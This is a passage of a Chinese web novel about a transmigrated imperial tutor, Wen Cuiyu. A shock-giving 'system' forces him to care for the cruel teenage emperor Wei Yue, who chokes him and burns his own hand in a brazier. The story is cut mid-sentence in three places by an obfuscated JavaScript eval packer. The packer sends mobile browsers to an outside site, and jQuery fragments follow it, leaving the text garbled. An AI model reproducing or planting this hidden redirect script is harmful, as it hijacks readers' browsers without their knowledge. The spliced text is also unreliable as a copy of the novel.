虽然温催玉比卫樾年长六岁,但病秧子的力气实在是没这整日吃饱喝足没事干就在宫里散步溜圈的少帝强悍。 温催玉被变故一惊,一时只觉头晕眼花。 后背撞在木质的摇椅上,也疼得他轻哼了声,泪花一闪。 偏偏这时候卫樾还掐住了他的脖颈,语气是近在咫尺的阴森:“怎么,温太傅另有主子,跪朕跪不下去?” 周遭的宫人们老老实实垂着头,对这情景仿若未见。 温催玉忍着弑君的冲动,在卫樾不断收束的力道中艰难地灵光乍现道:“陛下误会了……臣只是觉得,臣……身为太傅,与陛下有师生之谊……老师跪拜学生,有违尊师重道古训……但陛下是君,臣子跪拜,理所当然……” “哦?”卫樾还是掐着温催玉的脖颈,慢条斯理地用力,“温太傅这么重礼呢?那半夜四处乱看,又是哪本书里教太傅的?” 温催玉呼吸越发艰难,眉头紧蹙,摇椅还持续地摇摇晃晃,简直让他眼冒金星。 方才生出的泪花沁了出来,滑过温催玉的脸颊,正好落在了卫樾的手背上。 卫樾愣了下,这滴泪分明是冰凉的,但他好像被灼伤到了一般,指间力道无意识地松了松,但还是扼着温催玉的脖颈没放。 这时,温催玉忍不住,抬手抓住了卫樾的手腕:“陛下……爱护学生,本就是师之责……” 卫樾闻言一默。 看着温催玉有些涣散又含着朦胧水雾的目光,脸上清浅的泪痕,又瞧了眼他纤细的手指,余光还瞥见他衣袖上已经干了的墨迹污渍,白日在见渊阁时的情景浮现出来…… 卫樾突然把手从温催玉脖颈间抽离了。 温催玉抓着他的手也就撒开了,捂上心口咳嗽起来。 接着,温催玉听到卫樾不怀好意地说:“其实并非温太傅眼花,先前的确有几个人在房顶上蹿来蹿去,不过并非刺客,只是叱南军中今夜值守在定风殿外的几个侍卫罢了。朕无聊,睡不着,便吩咐他们追打给朕看乐子解闷,如此而已。” 温催玉:“……” 这少帝果然病得不轻。 “那秦贺过来得知了实情,朕又不乐意让他们宣扬,所以他只好装腔作势,当众怪到你温太傅眼花惹事上了。”卫樾又好似还挺同情地说。 温催玉将将停下咳嗽,没吭声——挨千刀的小兔崽子! 他要是再担心这卫樾一次,他就是蠢货转世! 方才一路疾行过来,温催玉其实还当真紧张过,就算按原书剧情来说,卫樾应该不会死在如今,但万一呢? 万一他温催玉穿书这件事造成了什么蝴蝶效应呢? 看到卫樾没事,温催玉是松了口气的。 但现在听到了真相,温催玉只遗憾这卫樾怎么没真的被刺杀呢! 见温催玉低着头不说话,卫樾又不满了,伸手掐住了温催玉的下巴,强迫他抬起头:“温太傅方才不是很能言善辩吗,怎么,不被掐着就不会说话?那你这嗜好,可真是不同一般……” 说着,卫樾竟是又要掐温催玉脖子的意思! 温催玉连忙抓住卫樾的手腕:“陛下!陛下无碍便好,不是臣莽撞惊扰了陛下安眠便好,臣不便在后宫久留,还是先行告退……” “走什么?你不是朕的老师吗,说着爱护学生,怎么好像对朕很避之不及啊?”卫樾目光幽冷地看着温催玉。 温催玉:“……陛下说笑了。” 卫樾还是盯着温催玉的眼睛看。 他心想,温催玉凭空比他年长几岁,也是出仕为官的人了,但好似不太会隐藏情绪。 尤其是这双眼睛,一览无遗。 温催玉似乎有些懊恼,又有些无语凝噎……大概是懊恼一时冲动,把自己陷于如今的境地吧。 至于无语凝噎,该是被他气的。 可是奇了怪了,卫樾竟然觉得,没从温催玉眼里看到太多恐惧。 卫樾又想起,方才温催玉站到定风殿外门处时,看向他的那瞬间,那眼神似乎当真有担忧。 还有白天在见渊阁内,温催玉急出的眼泪,轻柔擦拭他脸上墨迹时白檀香的味道…… 想到这里,卫樾突然觉得手下的肌肤很烫似的,仓促撒开了手,没再钳制着温催玉的下巴不放。 卫樾抿了下唇,转瞬缓过神,他站直身体,仍然用居高临下的姿态看着发丝有些凌乱、被迫靠在躺椅上的温催玉,说:“温太傅,朕原以为你是个知道明哲保身的聪明人呢。” 可“诲人不倦”的系统要求他一而再地蹚浑水啊,偏偏系统还振振有词,说都是按他从前的教学经历提取的标准…… 温催玉有些心如死灰地想着,然后看了卫樾一眼,他不由得一顿。 又来了……卫樾脸上又出现白天那种“倔强少年”的表情了。 然而白天的时候,温催玉被卫樾这个表情唤醒了些许沉睡的心软,想要帮人家擦擦墨迹,结果差点被卫樾喊人来砍手。 方才担心卫樾被刺杀,结果是这少帝自己夜里无聊整人玩,不领他的关怀之情就算了,还要奚落他一番,让人当众怪成是他眼花…… 所以,温催玉寻思着,还是别再泛滥不值钱的心软了,免得惹祸上身—— 下一瞬,温催玉眼里又冒出了泪花,因为就在方才那瞬间,系统又电他了! 简直没天理了! 系统:【察觉学生心情有异,老师理应关心哦,如果问过了但学生不说,不追问也是一种体贴,但不能不问哦。】 温催玉:【……】 他上辈子到底发什么疯觉得自己可以去教书育人的!如今穿书的经历才是报应吧…… 温催玉无可奈何地抬眸,发现卫樾正错愕又惊奇地看着他。 然后,卫樾朝温催玉的眼睛伸出手。 温催玉下意识眨了眨眼,眼中泪花随之滴落,卫樾用指腹接住了。 卫樾捻了捻指腹上的水痕:“你居然真的在哭。” 温催玉:“……” “为什么?因为朕说你不是聪明人?你觉得一腔好心被辜负了?”卫樾把手背到了身后,用十六岁尚显单薄的身板,试图营造出老气横秋的架势。 温催玉看着他这有些“装腔作势”的模样,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358759|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点无可奈何,但又不禁被触动了。 他轻叹了声:“陛下,不论您信不信,臣对您当真没有恶意。您方才那瞬间的正经,其实也是有点信了的吧?” 卫樾冷笑:“朕何时不正经过?来人,把温催玉赶出定风殿!” 说留就留,说赶就赶,这少帝还真是喜怒无常。 又或者是……被说中了,恼羞成怒? 温催玉起身往外走,走到殿门处时,虽然理智在告诉他不要乱看,免得又因为看了一眼引起“电疗”麻烦。 但……他还是没忍住,回头看了眼方才卫樾的方向。 出乎意料的是,卫樾竟正好也蹙着眉头在打量他。 发现他回头看,卫樾马上恶狠狠地移开了目光。 温催玉:“……” 他如今理智在两边拉扯,一边说“卫樾是个暴君”,一边说“卫樾如今才十六岁”…… 最终,有关暴君的认知占据了上风。 十六岁,不小了,知道自己在做什么了,放现代都是个高中生了,何况是这个时代、这种环境下长大的少帝卫樾。 若是轻视他的十六岁,那“年少轻狂”的就该是他温催玉了。 他在晃神时,偶尔会觉得卫樾只是个不正常环境下长大、不知如何正常处事的孩子,此时加以引导,未必万恶不赦…… 可方才卫樾一言不发直接掐他脖颈,这也是真的。 那种呼吸不畅的感觉,温催玉不想再体验。 所以他宁愿继续和系统较劲,哪怕会时不时被电一下,但至少可以搞清楚系统给他拟定的“诲人不倦”的标准是什么,以后可以钻漏洞行事。 至于系统说的“教导暴君成为明君”的任务,温催玉目前没那么远大的志向,只想得过且过。 毕竟,太把自己的帝师身份当回事,想要教导少帝,不仅要担心被卫樾喜怒无常地弄得非死即伤,还要担心被摄政王视为站队少帝,从此很可能陷入各种阴谋阳谋,甚至被摄政王直接安排人杀了以除后患。 温催玉不想连这个小世界崩坏的那一天都还没活到,就先死在不太拿人命当回事的争权夺势中了。 他体弱多病,玩不动这些阴谋诡计、明争暗斗。 …… 虽然来时不认识路,但温催玉记性好,走过一遍,回去时便不会迷路。 从定风殿出来,回前朝的青霜殿,这一路上温催玉也遇到了不少值守的侍卫。 侍卫们大概是都认识他了,没再拦下他盘问,只是明里暗里多有视线打量。 回去路上不用再着急忙慌,温催玉慢吞吞回到青霜殿,里面的宫人看到他回来,松了口气。 “太傅大人,您去哪儿了?奴才方才突然惊醒,想到您出来透气了,便也出来看看,没成想没见着您,可把奴才吓坏了。”宫人说。 温催玉歉意地笑了笑:“对不住,让你担心了。” 宫人连忙称不敢:“太傅大人折煞奴才了。那奴才伺候您回屋歇息?” 温催玉离开青霜殿这一趟,把他累得够呛,这次躺下之后,他很快睡了过去。 卯时,天色未明,但宫门开了。 温催玉先出宫回了趟他的太傅府,把沾了墨迹的衣袍换下来,然后回到宫内,给他的少帝学生授课。 还是见渊阁—— 这回,温催玉学聪明了,一开始就把竹简竖得老高,直接挡住视线。 这样就算他待会儿不由自主去打量卫樾的状态,也会被竹简挡住,看不见的。 系统就不能以“你知道学生在心不在焉但是没管”为由电他了,毕竟他什么都看不到,能知道什么? 这竹简这么长,他拿得端正了点,难免挡住了视线,念书的时候又投入了些,毕竟他教学能力也就这样了,当然要更用心地把书念好,所以没分心观察无声无息很老实的学生,相信学生在认真听课,很正常吧? 系统也不能以他授课态度不端正做理由了。 希望卫樾今天也老实画乌龟,不要弄出别的动静…… 坐在殿中央的卫樾看着前面的温催玉,发现温催玉今日的学生大概是手里的竹简,明摆着是要对他这个真学生眼不见为净! 卫樾不满地喊:“来人!给朕抬个火盆进来!” 5. 第 5 章 宫人们习惯了少帝总是心血来潮的吩咐,当下一声不吭,领命很快送上了火盆。 对这些动静,温催玉继续用“书中自有黄金屋”的虔诚态度,盯着眼前竹简上的字不放。 他出于本心,也是有些故意没有做出反应,想看看系统会怎么判定…… 系统果然还是没放过他,例行一次“电疗”后,说道:【宿主,您听见了。】 温催玉噙着几颗眼泪,在心里磨了磨牙:【所以呢?我的学生怕冷,所以自己要了个火盆,我这个老师也要多此一举的过问才算敬业吗?】 系统:【按理来说,您应该做出一点反应,毕竟您听到了。】 温催玉:“……” 下次他挡住眼睛,再把耳朵也堵上算了! 温催玉用指腹擦去眼泪,还是没抬头,但开了口,聊表关心:“陛下知道冷热,把自己照顾得很好。” 闻言,看着脸都没从竹简后面露出来的温催玉,卫樾冷笑了声。 温催玉当没听见,反正他关心过了,继续念书,上课才是正经事! 但是,接着温催玉听到了撕书的声响…… 这个书中世界是个大杂烩架空朝代,造纸术已经有了,但还处于发展初期,即便在上层阶级也不到普及的程度,就算是达官显贵、能读书识字的人家,也都以竹简为常,想要更便携的话,会考虑书写在绢布上。 纸质的东西尚且属于稀罕物,一整本纸质的书更是可以视作珍宝。 反正温催玉穿书过来一整个月,还只在卫樾的书案上看到过纸裁的书。 现在,卫樾在撕书…… 而且,隐约有烧东西的味道传来,再联系一下卫樾前面刚跟人要了火盆……所以他是在烧书。 温催玉这个从现代而来、看惯了更精美纸质书的人都忍不住心疼了。 但相比起制止卫樾的“雅兴”,温催玉还是比较想要尝试跟系统狡辩:【我的学生可能是翻书力气大了点。】 系统没有反应。 下一瞬,卫樾那边突然传来一声轻嘶。 温催玉有点纠结,他挺不想热脸贴冷屁股的,如果可以置之不理就好了…… 系统给了他一下电击,谴责他的冷漠。 温催玉默默叹气,有点习以为常地擦了下眼睛,然后放下竹简看向卫樾。 发现温催玉手里的竹简动了,卫樾一脸漠然地收回视线,又撕了一页书,放到火盆之上。 “陛下,您……”温催玉本来漫不经心、只想应付了事。 但竹简放下,视野豁然开朗,在看到卫樾当下情景的那一刹,温催玉脸色骤变。 他霍然站起身,朝卫樾走过去,也没顾上语气了:“你在干什么?疯了吗!” ——卫樾确实在烧书,但火苗都卷上书页、有的部分都变成灰烬了,卫樾也没松手,就那样把手放在火焰中,跟直接烧他自己的手有什么区别! 可卫樾方才竟然只是轻嘶了一声,就再没有发出动静! 温催玉都出声了,卫樾也没收回手,看都没看温催玉一眼。 温催玉快步走到卫樾面前,抓住他的手腕,将他的手从火盆上方抽了过来。 这时正好一个被火焰燎起的水泡,又被火焰给烧破了,血水滴落,看得温催玉眼睛疼。 卫樾的右手被火焰燎得血肉模糊,方才他受了伤还在继续撕书,以至于剩下的书页上都沾了血迹。 面前这一幕,让温催玉眉头紧蹙。 卫樾动了动手腕:“温太傅,你方才骂朕什么?” 温催玉看到他这油盐不进的模样,无端起了邪火,一时都忘了原书剧情人设那些东西了。 他没好气地回答:“骂你发疯。这么喜欢烧自己,你倒是别在我课上烧啊——常喜,快请太医过来,陛下受伤了!” 卫樾微怔,听着温催玉毫不客气,但好像真的因为他伤了自己而怒其不争的话,他看向自己仍被温催玉抓着的手。 常喜是值守见渊阁的宫人之一,昨夜温催玉留宿宫中,常喜是他近前照顾的。 因为卫樾不喜,所以宫人们都守在外面,无令不敢擅动,方才虽然听到了温催玉的声音,宫人们也没敢乱看。 直到这会儿得到了明明白白的吩咐,常喜才从门外看进来,小心翼翼地问:“陛下要请太医吗?” 虽然温催玉已经吩咐过了,但常喜知道卫樾并没那么尊敬这个太傅,所以不敢听了温催玉的话就去请太医,怕触怒少帝。 卫樾这才回神似的,他哼了声,不管疼痛地从温催玉手里抽出手腕,还甩了甩,才对外面的常喜不满道:“朕何时说要请太医了?耳朵不想要就去割了!” 常喜连忙跪下:“奴才知罪!” 温催玉无言以对:“……陛下,你能不能别这么任性?” 卫樾对他冷笑:“如此言行无状,温太傅是觉得,你是庄王安排给朕的太傅,朕奈何不了你是吗?” 温催玉看着卫樾那糟心的右手,这会儿满脑子都是“小兔崽子”和“熊孩子”,还有一堆心理疾病的学名,实在是没法把眼前的卫樾和“暴君”并列相提。 他好声好气地看着卫樾:“陛下,臣关心您的伤势,故而言行僭越了些,您好歹先召太医过来,把伤包扎了,再跟臣计较吧?” 卫樾听着温催玉看似恢复恭敬,实则跟哄小孩似的语气,沉默了下,然后他抬起下巴:“朕乐意这么烧着玩,温太傅这多管闲事的舌头若是不想要了,大可求朕赐你一个截舌之刑。” 温催玉:“……” 对他不是砍手就是割舌头,刚才还威胁宫人说要割耳朵,还没掌权呢就这么热爱酷刑,小暴君你自己烧手玩去吧! 话说,从卫樾烧自己的行为来看,在酷刑方面,这少帝居然还有点对人对己不“双标”的意思…… 温催玉琢磨着这冷笑话,面色平和地站起身,对卫樾作了一揖:“臣惶恐,是臣僭越了,臣这便继续本分,为陛下授课。” 说完,温催玉转身回去。 看着温催玉不再停留的脚步,卫樾的目光越发冷淡下来——呵,他就知道,什么关心着急,都是装的,怕担责任罢了,稍微有点阻力就不会再坚持,反正事后说起来也已经关怀过了。 温催玉慢条斯理朝他的书案那边走回去,眼前仿佛还是卫樾烧上的手的画面,他有点想叹气, “不要多管暴君的闲事,他不会让自己死了”的理智和“这臭小孩”的情感在拉扯互搏。 就在温催玉打算转身回去,再强硬一点,好歹让卫樾别再玩火、给伤上药的时候,熟悉的电流感再度传遍四肢百骸。 温催玉被电出泪花,眼前模糊了下,他在心里几乎一字一顿地问系统:【我不是在考虑吗?你就这么迫不及待非要电我一下?】 系统闻言表示遗憾:【我没有权限获知宿主在想什么哦,除非宿主有明确意识,是在对我说话。】 温催玉感觉这该死的系统也是个熊孩子。 他无可奈何地转身,看向正好撕下了新一页书的卫樾,拿出最大的耐心温和地说:“陛下的伤需要医治,若是不喜太医近身,臣代为上药可好?” 听到温催玉折返的关心,卫樾的心弦被无形的手轻微拨动了一下。 他垂目看着沾了血迹的书上字迹,一双黑珠子似的、光泽总显黯淡的眼睛颤动了下。 但转瞬之间,卫樾蹙起眉,唾弃自己竟如幼儿似的这般容易被影响心绪,真是没用。 他抬起头,摆出意欲讥笑温催玉自讨没趣的神态,正要开口,却又在目光落在温催玉脸上的瞬间,怔住了。 温催玉没有和他对视,因为温催玉的目光往下一点,正落在他的伤上,那眼神关切又夹杂着无奈,而且……竟渐有了心疼的意思。 卫樾的右手伤得实在严重,温催玉越看越觉得目不忍睹,都不知道卫樾是怎么忍着不吭声的。 他不忍再看下去,抬眸看向卫樾的眼睛:“陛下,您若是不反对,臣就再吩咐常喜去叫太医了?” 对视上了,卫樾发现,温催玉眼中竟是又隐含泪光,仿佛……仿佛是因为心疼他的伤,感同身受要落泪。 卫樾没吭声,只是下意识攥紧了握在手中的书页。 这一用力,卫樾那本就被燎破了表皮,更严重处更是烧伤裂开的右手便涌出了更多血珠,淋漓落在本就不干净了的书页上,看得温催玉吃了一惊,更加不忍。 温催玉匆忙上前,在卫樾的书案前面和卫樾相对而坐下来,然后他伸出手,想要把书从卫樾手里拿出来,语气也不由自主地柔和下来:“陛下,您得爱惜自己的身子,手别再用力了,好吗?” 卫樾还是没说话,只是顺着温催玉抽书的力道,松开了紧攥的右手。 温催玉把书放到一边,握住卫樾的手腕,虽然忍不住蹙眉,但还是仔细看了看卫樾的伤势:“这怕是一时半会儿好不了啊——常喜!快去请太医!” 常喜还是忍不住看卫樾。 温催玉道:“陛下同意了的,放心去吧。” 常喜见卫樾没有出声反驳,这才敢领命:“是,奴才这就去!” 卫樾一声不吭地摆出一张木头脸,温催玉看着他这虽然还是不好相处,但前后对比就知道已经是软化了的模样,不由得轻叹。 虽然理智一再提醒温催玉,不要把卫樾当成寻常十六岁少年来看,可这一而再的,温催玉还是放不下觉得卫樾是个“倔强叛逆少年”的念头。 温催玉想,卫樾虽然说过要砍手割耳朵割舌头,但毕竟没有真的行刑。 昨日温催玉先是装病,便让卫樾没再纠缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358760|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砍手的事。后来真病了,卫樾也没有放任他晕厥不管,让宫人给请了太医。 夜里不睡觉,折腾值守的侍卫在屋顶你追我赶,确实不温良,但也不至于十恶不赦,毕竟没害人命。 后来掐他脖子,这的确恶劣,可…… 好吧,这件事若是为他开脱,说“反正我没有死”,温催玉觉得自己就有熊家长的嫌疑了。 但看着面前的少帝,卫樾那故作不屑和冷漠的目光,温催玉还是忍不住心软。 他想,回顾方才卫樾的言行,他分明是期待能被关心的,可偏偏不仅要装作不在乎,还要字字句句都是排斥敌对,直到他折返再次表达关心,终于才以沉默表达默许。 ……心智很不成熟。 但温催玉忍不住再度思索,如今才十六岁的卫樾……即便原书剧情里,后来他是个实打实的暴君,可如今才十六岁的卫樾手中无权、身边无可信任之人,他对待旁人的关心,表现得像个刺猬,又何尝不是情理之中呢? 温催玉犹豫了下,看了眼殿外,反正太医还没过来,他就这么抓着卫樾的手腕僵持着,似乎也有点怪异。 于是温催玉开了口,仍是和风细雨、带着轻哄的温柔:“陛下方才把自己的手放在火上,应当也是觉得疼的吧,那为什么还要这么伤害自己呢?是觉得臣这授课方式,让您不舒坦了吗?” 他这么一说,卫樾就想起方才温催玉用竹简挡脸的样子,于是气性又上来了。 但他动了动手腕,却没继续抽出手,只语气恶劣道:“温太傅管念书叫授课?你这太傅当得,比朕这个皇帝还轻松啊。” 温催玉有了心理准备,倒没生气,他心平气和地说:“那是因为,臣赴任之前,听闻陛下曾有过一位太傅,正是因为那位太傅管得太多,惹了陛下厌烦,才招致髡刑。” 卫樾眉间蹙得更厉害了。 “那位太傅是德高望重的儒学大家,臣年纪轻资历浅,自认不能比那位大儒强,既然他都无法让陛下信服,臣自是不敢托大。所以陛下昨夜说,本以为臣是明哲保身,倒也确实没错。”温催玉轻言细语道。 他想试试,坦诚相待能否换来少帝卫樾的几分真诚,若是能,也未尝不是个好趋向。 只是,他若是选择了完成系统给的任务、教导卫樾,那就意味着得罪了如今权倾朝野、手握皇帝实权的摄政王……这也着实不是什么轻松的事啊。 卫樾又一声不吭了,他没想到温催玉突然这么温情脉脉,竟能坦诚至此。 温催玉耐心地看着卫樾,不让他继续沉默:“陛下,可怪臣此前明哲保身?” 卫樾冷笑,夹枪带棒道:“你觉得你错在明哲保身?不,你错在昨日失心疯,突然想做个‘好老师’,简直愚不可及。” 温催玉这个太傅,起初授课的一个月都很安分,所以卫樾对这个太傅挺“满意”的。 接着听闻他因郁郁不得志而酒后失足重伤,卫樾也没什么感觉,不用每天都来见渊阁坐着应付几个时辰,卫樾乐得自在。 可偏偏昨天温催玉打破了这个平衡,让卫樾不得不注意到他。 卫樾看着面露无奈的温催玉,又是一声冷笑:“怎么,温太傅是怀才不遇借酒浇愁撞坏脑袋之后,突然大彻大悟,改变主意想要赌命做个好老师,免得浪费你的惊世之才了?” 温催玉觉得这个说辞不错,于是从善如流地轻轻颔首:“这样说,倒也不算错。但臣不想步前一位太傅的后尘,所以斗胆请教陛下,那位大人到底是怎么得罪您了?臣吸取教训。” 卫樾难以理解地看着温催玉。 温催玉现在好似真一点都不怕他了,居然还敢跟他“请教”! “他说话朕就讨厌。”卫樾抬起下巴。 他用一种“你有本事毒哑自己”的睥睨目光看着温催玉的反应。 温催玉:“……” 这小兔崽子就是没法好好说话是吧! 正好,太医在这个时候来了。 为了方便太医给卫樾看伤,温催玉收回方才一直握着卫樾手腕的手,往旁边移开了点。 手腕上没了钳制,卫樾竟突然觉得有点空落落似的…… 来的是专门给皇帝看诊的方太医。 方太医过来之前,还以为这回和往常一样,只是少帝又闲着无聊消遣他玩了。 刚走进见渊阁,看到卫樾脸上不见痛楚,方太医更是以为常喜被迫夸大其词而已,卫樾并没有什么伤情。 但没想到近前一看,卫樾的右手居然真的烧伤严重! 刚跪下行礼的方太医连忙膝行几步:“陛下,您这手是……还请陛下手过来,臣为您清理伤口上药。” 卫樾却不肯,他看向温催玉:“你不是说要给朕上药吗?骗朕?” 温催玉:“……臣不敢。” 6. 第 6 章 宫人常喜去太医署传召方太医时,说了卫樾是手上烧伤。 虽然方太医心里犯嘀咕,觉得大抵是少帝折腾他解闷,但明面上不敢怠慢,老老实实带了治烧伤的药来。 所以,此时倒不担心无药可用、还得去取。 方太医唯独担心手下一个不小心,就弄疼、触怒了卫樾——虽然这只是个众所周知的傀儡皇帝,但他想借题发挥惩治一个太医,摄政王也不会多管。 方太医本就不敢赌,正好少帝要温太傅帮忙上药,方太医只觉得求之不得,连忙从携带的医箱中取出几瓶药和干净丝绢,放在书案上。 看着方太医疑似迫不及待的动作,还有盯着他的卫樾,温催玉无奈道:“还劳驾方太医指教。” 方太医忙道:“不敢当,温太傅言重了——看陛下这伤势,得先以丝绢擦去表面血迹,再上这瓶子里的止血粉,血止上了,接着才能上伤药,一日两次。剩下这个青色瓷盒中是祛疤的药膏,待伤口痂痕脱落后再上,陛下的手不会留疤。” 温催玉听他这意思,是要把卫樾手伤这事儿全都交给他了啊。 不过,目前卫樾大抵也是这个意思,怪方太医推脱也没用。 轻叹了声,温催玉拿起丝绢,对卫樾道:“陛下,您伤得厉害,即便臣力道再轻,也难免疼痛,还请您恕罪。” 事先说了,你个小兔崽子待会儿要是还借题发挥……温催玉看了眼手里的丝绢,心想我就用这丝绢把你的手勒死了事。 卫樾没回答,只是面无表情地看着温催玉伸手,一手再度握上他的手腕,另一手捏着丝绢小心翼翼落到他手背上。 虽然看起来好像没有痛觉似的,但……其实还是疼的。 卫樾强忍着痛感,不露声色地扫了眼方太医:“你可以滚了。” 方太医求之不得,连忙行礼,退出了见渊阁。 殿内再度只剩下温催玉和卫樾。 温催玉小心擦拭着卫樾手上的血迹,擦得差不多了,他放下被血弄脏的丝绢,拿起方太医方才说的止血粉瓶子。 他顺道抬眸看了眼卫樾,见卫樾神情凝重得眉头紧锁,温催玉轻声无奈道:“陛下,疼的话不用强忍着,烧伤这么严重,不疼才奇怪……但您既然知道疼,方才又为什么要故意弄伤自己呢?” 止血粉洒在伤口上,卫樾疼得本能抽动了下,但他嘴硬道:“朕不疼。” 温催玉:“……好,陛下不疼。” 卫樾看了眼火盆,又说:“朕原本也不是故意玩火,最开始被燎伤那一下,是意外。” 温催玉微微蹙眉:“那后面您整只手都故意放在火上呢?” 准备烤猪蹄? 卫樾兴致盎然说:“朕觉得有意思,就试试。” 温催玉心想,原书剧情里卫樾最后自尽身亡,大概也是觉得有意思,就试试死亡的感觉吧……简直病得不轻。 “陛下,”温催玉低头认真看着卫樾的手,小心把上面的止血粉敷开,嘴上说着话,语气温和,“正常人是不会觉得伤害自己很有趣的。” 卫樾沉下脸:“你说朕不正常?朕太给你脸了?” 温催玉抬眸,笑了笑。 昨天老惦记着原书剧情,他一见卫樾就如临大敌,可今日再细看,温催玉又觉得,至少如今才十六岁的少帝卫樾,还是色厉内荏的成分居多。 卫樾情绪激烈,温催玉便稳定的心平气和,正好这也算是他在学生面前习以为常的状态。 “陛下,臣是真的想跟您好好相处,您就算不把臣当老师,至少也可以当做您的臣子吧?您这样的说话方式,会让对您抱有期待的臣子们敬而远之的,这对您来说,难道是好事吗?” 温催玉说着这动辄越界的话,止血粉敷好了,他抬起目光,温和但坚定地看着卫樾。 卫樾有些发怔。 他想,温催玉的眼睛挺漂亮,有春波秋水,似千斛明珠。 可惜人不怎么聪明。 然后卫樾笑了。 这还是温催玉第一次见到卫樾笑得这般爽快。 遗憾的是,卫樾的笑并不和气,明摆着充满了讽意。 他笑着说:“温太傅,你是在说,你对朕抱有期待吗?” 温催玉一听就知道他没憋什么好话,但还是不急不躁地反问:“不可以吗,陛下?” 他太过正经,反叫卫樾的笑有些持续不下去了。 卫樾收敛了笑意,只余讽刺:“温太傅,这么想死在庄王手里,你直接去找他就行了,何必来朕这里表忠心,兜个圈子?” 总算听到卫樾说点正经的,温催玉轻叹:“陛下是担心臣被庄王发现,危及性命吗?陛下,担心臣子这种事,也可以直说,若是性情中人,会因为您的体贴之言而感激涕零、更加忠心的。” 卫樾看着“油盐不进”的温催玉:“你在教朕怎么做皇帝?” “不是,陛下。”温催玉直言道,“臣不懂帝王之术,只是在同您说人心,左右正好说到了。” 卫樾别开眼:“你能不能老实给朕上药!” 可算在卫樾身上看到了不那么讨人厌的孩子气,温催玉笑了笑:“好。” 不过止血粉刚敷上不久,还没让血完全止住,所以还不能擦去止血粉、接着上伤药。 温催玉看着卫樾惨不忍睹的手,叹了声,然后小心朝卫樾的手吹了吹气,问他:“这样会不会没那么疼了,陛下?” 听着温催玉温和得有些柔软的语气,嗅着来自温催玉身上、似有若无的白檀香味,卫樾没忍住,还是语气很坏:“你把朕当小孩子哄吗!” 还“吹一吹就不疼了”……这温太傅是不是脑子也有病! 居然好意思教导他! 卫樾没想到,面对如此质问,温催玉居然理所当然地回答:“陛下如今不过十六,臣比陛下年长六岁,臣视君为孩子自是不妥,但臣也并非那么不可理喻吧?” 卫樾:“……难怪能被庄王指派过来做太傅,温催玉你不仅伶牙俐齿,还胆大包天!你想被诛九族吗!” 温催玉看着卫樾血淋淋的手,打定了注意不被卫樾的情绪带着跑偏,所以只和气道:“陛下,庄王理政,臣受朝廷调任,自是得服从,并非是由庄王私人指派,臣与庄王并无私交。至于诛九族……臣的九族只剩臣一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358761|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您下回直接威胁要砍臣的脑袋就够了。” 气势汹汹的卫樾一怔。 他看着温催玉,这温太傅一副非达官显贵人家养不出的气韵,卫樾并不知道温催玉全家只剩他自己一人。 不过卫樾没有再问,只是转念一想,打量着温催玉的眼睛,突然问他:“你怎么不哭了?” 温催玉:“……嗯?” 卫樾不怀好意地说:“你不是很喜欢哭吗?昨日一边念书一边偷偷抹眼泪,好像被朕这个不专心的学生气得十分委屈。方才又因朕手伤,急得蓄了眼泪……怎么现在不哭了?朕这伤吓不着你了?” 温催玉怔了下。 “一边念书一边抹眼泪”这说法,显得他好窝囊啊。 他也没想到,昨日画乌龟画得起劲的卫樾,居然有注意到他的动向…… 也是,毕竟是往后能及时抓住机会、仅用两年就斗倒摄政王的主角,就算行为显得心智不全、有点疯癫,本质也总还有点理智的警惕。 “臣不爱哭。”温催玉一本正经地否认。 卫樾冷哼一声:“温太傅是想以身作则,教朕说谎?” 温催玉回道:“臣不敢。若有这方面的需求,该是臣向陛下请教才是。” 卫樾完好的左手狠狠拍在书案上:“温催玉你好大的胆子,敢责骂朕,你的脑袋不想要了!” 闻言,温催玉看着卫樾的左手,好脾气地问:“陛下,手疼吗?” 卫樾:“……” 他一肚子脾气撒出来,没得到对方的惶惶不安或是不屑一顾,一时很不习惯,甚至……无端生出莫名的不安来。 这个温催玉怎么回事! 想不通,故而有些闷闷不乐的卫樾,抬起左手伸到温催玉面前。 温催玉不确定地看了卫樾一眼,然后朝卫樾的左手吹了口气,认命地哄这个嘴硬傲娇的十六岁大孩子:“吹一吹就不疼了啊。” 卫樾有点不自在地收回手。 温催玉看了看他的右手,又说:“看起来止血粉应该是已经见效了,陛下忍忍,臣再给您擦擦伤口,然后给您上伤药。” 卫樾若无其事道:“本也不疼。” 温催玉:“……” 这小兔崽子嘴硬得要死。 温催玉垂首,小心给卫樾上着药。 卫樾手上疼,便转移注意力地看着温催玉。 